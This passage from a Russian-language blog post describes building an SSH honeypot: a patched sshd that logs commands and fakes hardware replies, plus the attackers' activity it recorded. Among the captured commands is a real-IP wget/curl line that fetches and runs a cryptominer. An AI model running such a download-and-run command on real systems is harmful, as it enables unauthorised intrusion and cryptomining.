\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0441\u0432\u043e\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c, \u0438 \u0432\u044b\u0436\u0438\u0434\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0445 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u043e\u0432.<\/p>\n<p>  \u0421\u0434\u0435\u043b\u0430\u0435\u043c \u0432\u0438\u0434, \u0447\u0442\u043e \u043c\u044b \u0431\u0435\u0437\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b, \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 shell-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0447\u0435\u0440\u0435\u0437 nohup:<\/p>\n<pre><code class=\"cs\">(   strace --trace=execve -s1000 -f \/root\/ssh\/sbin\/sshd -f \/root\/ssh\/etc\/sshd_config -D -d -q -p 22   strace --trace=execve -s1000 -f \/usr\/sbin\/sshd -f \/root\/ssh\/etc\/sshd_config -D -p 22 ) 2&gt;&amp;1 | nc $REMOTE 1337<\/code><\/pre>\n<p>  \u0422\u0430\u043a, \u043f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u043e\u0439\u0442\u0438 \u0432 \u041e\u0421 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0432\u043e\u0438, \u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f SSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b.<\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u0443\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c $REMOTE \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430 \u043d\u0435\u0439 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044f \u0432 \u0432\u0438\u0434\u0435 netcat.<\/p>\n<pre><code class=\"plaintext\">nc -l -p 1337<\/code><\/pre>\n<p>  \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u0438\u043d\u0443\u0441 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u2014 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440 \u043f\u0440\u0438\u0434\u0435\u0442 \u0441 \u043b\u043e\u0433\u0438\u043d\u043e\u043c root. \u041d\u043e \u043d\u0430\u043c \u043f\u043e\u0432\u0435\u0437\u043b\u043e \u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0436\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u044b\u0439 \u043f\u0440\u0438\u0448\u0435\u043b \u0441 \u043b\u043e\u0433\u0438\u043d\u043e\u043c root. <\/p>\n<p>  \u041d\u043e \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u043e\u043c\u0443 \u0431\u044b\u043b\u043e \u043f\u043b\u043e\u0445\u043e\u0439 \u0438\u0434\u0435\u0435\u0439. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435, \u0441\u043c\u0435\u043d\u0438\u043b \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043a\u043b\u044e\u0447, \u0438 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0434\u0432\u0443\u0445 \u0434\u043d\u0435\u0439 \u043d\u0438\u043a\u0442\u043e \u043f\u043e \u043d\u043e\u0432\u043e\u043c\u0443 \u043a\u043b\u044e\u0447\u0443 \u043d\u0435 \u043f\u0440\u0438\u0448\u0435\u043b. <\/p>\n<p>  \u041f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043e\u0442\u043a\u0430\u0442\u0438\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0434\u043e \u0430\u0442\u0430\u043a\u0438. \u0418\u0437 \u044d\u0442\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0431\u044b\u043b \u0441\u0434\u0435\u043b\u0430\u043d \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u0445\u043e\u0440\u043e\u0448\u0438\u0445 \u043b\u044e\u0434\u0435\u0439 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043d\u0435\u0446\u0435\u043b\u0435\u0441\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u043e: \u0438\u0445 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043d\u0435\u044f\u0441\u043d\u044b \u0438 \u0442\u0440\u0430\u0442\u044f\u0442 \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438. <\/p>\n<p>  \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435: \u0440\u0430\u0437 \u0443\u0436 \u043c\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u043e\u043c\u0443, \u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u0442\u0430\u043a \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0431\u0443\u0434\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u043c\u0435\u0442\u043e\u0434 <i>do_child()<\/i> \u0432 <i>session.c<\/i>.<\/p>\n<pre><code class=\"cs\">\/*  * Performs common processing for the child, such as setting up the  * environment, closing extra file descriptors, setting the user and group  * ids, and executing the command or shell.  *\/ #define ARGV_MAX 10 void do_child(struct ssh *ssh, Session *s, const char *command) {     \/* \u0427\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u043e\u043f\u0443\u0449\u0435\u043d\u0430 *\/      \/*      * Execute the command using the user's shell.  This uses the -c      * option to execute the command.      *\/     argv[0] = (char *) shell0;     argv[1] = &quot;-c&quot;;     argv[2] = (char *) command;     argv[3] = NULL;      execve(shell, argv, env);     perror(shell);     exit(1); }<\/code><\/pre>\n<p>  \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c, \u043d\u043e, \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u041f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0432\u044b\u0432\u043e\u0434\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. <\/p>\n<p>  \u041f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u00ab\u043e\u0442\u0441\u0435\u044f\u0442\u044c\u00bb \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043c\u0430\u0448\u0438\u043d\u0435, \u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f. \u0422\u0430\u043a\u0436\u0435 \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438 \u0441\u0434\u0435\u043b\u0430\u043b \u043e\u0431\u043c\u0430\u043d\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u00ab\u0433\u043e\u0432\u043e\u0440\u044f\u0442\u00bb, \u0447\u0442\u043e \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 72 \u044f\u0434\u0440\u0430, \u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440 \u2014 Intel&reg; Xeon&reg; Gold 6354. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0433\u043b\u0443\u0448\u0435\u043a<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cs\">\/*  * Performs common processing for the child, such as setting up the  * environment, closing extra file descriptors, setting the user and group  * ids, and executing the command or shell.  *\/ #define ARGV_MAX 10 void do_child(struct ssh *ssh, Session *s, const char *command) {     \/* \u0427\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u043e\u043f\u0443\u0449\u0435\u043d\u0430 *\/      \/*      * Execute the command using the user's shell.  This uses the -c      * option to execute the command.      *\/     argv[0] = (char *) shell0;     argv[1] = &quot;-c&quot;;     argv[2] = (char *) command;     argv[3] = NULL;      char filename[4096];     snprintf(filename, 4096, &quot;\/root\/ssh-log\/%s-%li.log&quot;, ssh-&gt;remote_ipaddr, time(NULL));         int fd = open(filename, O_CREAT | O_APPEND | O_WRONLY, 0644);     write(fd, command, strlen(command));         write(fd, &quot;\\n&quot;, 1);      close(fd);      if(strncmp(&quot;echo \\&quot;root:&quot;, command, 11) == 0) {         exit(0);     }     if(strncmp(&quot;cd ~ &amp;&amp; rm -rf .ssh&quot;, command, 19) == 0) {         exit(0);     }     if(strcmp(&quot;cat \/proc\/cpuinfo | grep name | wc -l&quot;, command) == 0) {         printf(&quot;72\\n&quot;);         exit(0);     }     if(strcmp(&quot;cat \/proc\/cpuinfo | grep model | grep name | wc -l&quot;, command) == 0) {         printf(&quot;72\\n&quot;);         exit(0);     }     if(strcmp(&quot;cat \/proc\/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'&quot;, command) == 0) {         printf(&quot;Intel(R) Xeon(R) Gold 6354 CPU @\\n&quot;);         exit(0);     }     if(strcmp(&quot;free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'&quot;, command) == 0) {         printf(&quot;257594 780 255585 2 1228 255272\\n&quot;);         exit(0);     }     if(strcmp(&quot;lscpu | grep Model&quot;, command) == 0) {         printf(&quot;Model:                           106\\nModel name:                      Intel(R) Xeon(R) Gold 6354 CPU @ 3.00GHz\\n&quot;);         exit(0);     }      execve(shell, argv, env);     perror(shell);     exit(1); }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u043d\u043e \u044d\u0442\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0431\u044b\u043b\u043e \u043d\u0435 \u0442\u0430\u043a \u0432\u0430\u0436\u043d\u043e, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0430\u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c, \u043d\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 ssh \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 execve, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043c\u044b \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u0443\u0437\u043d\u0430\u0435\u043c.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u041a\u043e\u043b\u0438\u0437\u0435\u0439<\/h2>\n<p><\/font><br \/>  \u041f\u0435\u0440\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441 \u043a\u043b\u044e\u0447\u043e\u043c <i>mdrfckr<\/i>. \u0417\u0430\u0433\u043b\u0443\u0448\u043a\u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SSH \u043d\u0435 \u0434\u0430\u0432\u0430\u043b\u0438 \u0438\u043c \u0438\u0441\u043f\u043e\u0440\u0442\u0438\u0442\u044c \u043c\u043e\u0439 \u043a\u043b\u044e\u0447, \u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u0434\u0430 \u043e\u0442 \u043d\u0438\u0445 \u0438 \u043d\u0435 \u0431\u044b\u043b\u043e. \u0412 \u043f\u0435\u0440\u0432\u044b\u0439 \u0447\u0430\u0441 \u043a \u043d\u0430\u043c \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u043b\u0438 12 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0438 \u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 79 \u0440\u0430\u0437. \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0431\u043e\u0442\u043d\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0438 \u0435\u0433\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u2014 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043d\u0435\u0440\u0432\u043d\u0438\u0447\u0430\u0442\u044c \u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0432 Linux. \u0414\u0435\u043b\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u0434 \u0432\u0435\u0447\u0435\u0440, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043f\u043e\u043a\u043e\u0435 \u0432 \u043d\u0430\u0434\u0435\u0436\u0434\u0435 \u0443\u0442\u0440\u043e\u043c \u043d\u0430\u0439\u0442\u0438 \u0441\u043b\u0435\u0434\u044b \u0431\u043e\u043b\u0435\u0435 \u00ab\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445\u00bb \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445.<\/p>\n<p>  \u0423\u0442\u0440\u043e\u043c \u044f \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043a \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0443 \u0438 \u0443\u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e vCPU \u0442\u0440\u0443\u0434\u044f\u0442\u0441\u044f \u043d\u0430 100%. \u0417\u0430\u0433\u043b\u044f\u043d\u0443\u043b \u0432\u043d\u0443\u0442\u0440\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043b\u043e\u0433\u0438 strace \u0438 \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u043d\u043e\u0447\u044c\u044e \u043c\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0431\u044b\u043b \u043f\u043e\u043b\u0435\u043c \u0436\u0430\u0440\u043a\u0438\u0445 \u0431\u0438\u0442\u0432. <\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u043f\u0440\u0438\u0448\u0435\u043b \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0437 \u0418\u0441\u043f\u0430\u043d\u0438\u0438 (\u041c\u0430\u0434\u0440\u0438\u0434, AS12479 Orange Espagne SA). <\/p>\n<pre><code class=\"plaintext\">\/ip cloud print ifconfig uname -a cat \/proc\/cpuinfo ps | grep '[Mm]iner' ps -ef | grep '[Mm]iner' ls -la \/dev\/ttyGSM* \/dev\/ttyUSB-mod* \/var\/spool\/sms\/* \/var\/log\/smsd.log \/etc\/smsd.conf* \/usr\/bin\/qmuxd \/var\/qmux_connect_socket \/etc\/config\/simman \/dev\/modem* \/var\/config\/sms\/* echo Hi | cat -n<\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u0438\u0448\u0435\u043b \u043c\u0430\u0439\u043d\u0435\u0440 \u0438\u0437 \u0410\u043c\u0435\u0440\u0438\u043a\u0438 (\u041d\u0435\u0432\u0430\u0434\u0430, AS53667 FranTech Solutions). \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445, \u043c\u0430\u0439\u043d\u0435\u0440 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043d\u0435\u043f\u0440\u0438\u0432\u0435\u0440\u0435\u0434\u043b\u0438\u0432. \u041a\u0430\u043a-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u0440\u043e\u043a\u0430\u0442\u0438\u0442. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c IP-\u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0435\u0433\u043e \u0438 IP-\u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 \u0430\u0440\u0445\u0438\u0432\u043e\u043c (\u041d\u044c\u044e-\u0419\u043e\u0440\u043a, AS53667 FranTech Solutions) \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.<\/p>\n<pre><code class=\"plaintext\">cd \/dev\/shm || cd \/tmp || cd \/var\/run || cd \/mnt; wget 198.98.56.65\/krax || curl -o krax 198.98.56.65\/krax; tar xvf krax; cd ._lul; chmod +x *; .\/krn; .\/krane 123456<\/code><\/pre>\n<p>  \u041a\u0441\u0442\u0430\u0442\u0438, \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0442 \u043c\u0430\u0439\u043d\u0435\u0440 \u0434\u043e\u0436\u0438\u043b \u0434\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0441\u043e \u043c\u043d\u043e\u0439. \u0423 \u043d\u0435\u0433\u043e \u0434\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 <i>krn<\/i> \u0438 <i>krane<\/i>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b <i>config.json<\/i>, \u044d\u0442\u043e \u043a\u043e\u043d\u0444\u0438\u0433 XMRIG. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043c\u0430\u0439\u043d\u0435\u0440 \u043d\u0435\u043f\u0440\u043e\u0441\u0442: \u043e\u043d \u043f\u043e\u0434\u0447\u0438\u0449\u0430\u0435\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0432 <i>.bash_history<\/i>, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0433 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0430\u0440\u0445\u0438\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0447\u0438\u0441\u0442\u0438\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043b\u043e\u0433\u0438.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0431\u044b\u043b\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u0440\u043e\u0442\u043e\u043b\u043a\u043d\u0443\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b <i>8nlh4fpijnyueflljkd2bi9f69<\/i> \u0447\u0435\u0440\u0435\u0437 scp \u043f\u043e \u043f\u0443\u0442\u044f\u043c:<\/p>\n<ul>\n<li><i>\/bin<\/i>,<\/li>\n<li><i>\/usr\/bin<\/i>,<\/li>\n<li><i>\/usr\/local\/bin<\/i>,<\/li>\n<li><i>\/root\/<\/i>,<\/li>\n<li><i>\/var\/tmp<\/i>,<\/li>\n<li><i>\/tmp<\/i>,<\/li>\n<li><i>\/dev\/shm<\/i>.<\/li>\n<\/ul>\n<p>  \u0417\u0434\u0435\u0441\u044c \u044f \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0448\u0438\u0431\u043a\u0443: \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u0435\u0441\u0442\u0430 \u0434\u043b\u044f \u041e\u0421, \u043f\u043e\u044d\u0442\u043e\u043c\u0443, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b <i>snapd<\/i>, \u0432 \u043a\u043e\u0440\u043d\u0435 \u043c\u0435\u0441\u0442\u0435 \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u043e\u0441\u044c \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0431\u044b\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445.  <\/p>\n<blockquote><p>\u041d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u043e\u0441\u044c, \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c IP-\u0430\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c, \u0442\u0430\u043a \u043a\u0430\u043a strace 